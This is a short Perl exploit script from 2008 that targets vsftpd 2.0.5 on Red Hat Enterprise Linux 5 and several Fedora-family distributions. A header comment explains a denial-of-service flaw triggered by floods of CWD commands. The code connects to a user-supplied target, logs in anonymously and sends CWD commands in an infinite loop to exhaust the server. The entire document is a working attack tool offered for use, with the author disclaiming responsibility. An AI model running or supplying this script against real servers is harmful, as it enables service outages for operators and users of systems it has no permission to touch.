vsftpd-dos.txt

`#!/usr/bin/perl -w  
  
  
#######################################################################################  
# vsftpd 2.0.5 FTP Server on Red Hat Enterprise Linux (RHEL) 5, Fedora 6 to 8,  
# Foresight Linux, rPath Linux is prone to Denial-of-Service(DoS) vulnerability.  
#  
# Can be xploited by large number of CWD commands to vsftp daemon with deny_file configuration  
# option in /etc/vsftpd/vsftpd.conf or the path where FTP server is installed.  
#  
# I tried to modify local exploit found at securityfocus such that we can remotely exloit  
#  
# Author shall not bear any responsibility  
# Author: Praveen Darshanam  
# Email: praveen[underscore]recker[at]sify.com  
# Date: 07th June, 2008  
#  
#  
########################################################################################  
  
  
use Net::FTP;  
$ftp=Net::FTP->new("$ARGV[0]",Debug=>0) || die "Cannot connect to Host $ARGV[0]\n Usage: $perl script_name.pl target_ip\n";  
$ftp -> login("anonymous","anonymous") || die "Could not Login...Retry";  
  
while(1)  
{  
#this loop runs infinitely  
  
$ftp -> cwd();  
}  
  
$ftp->quit;  
  
`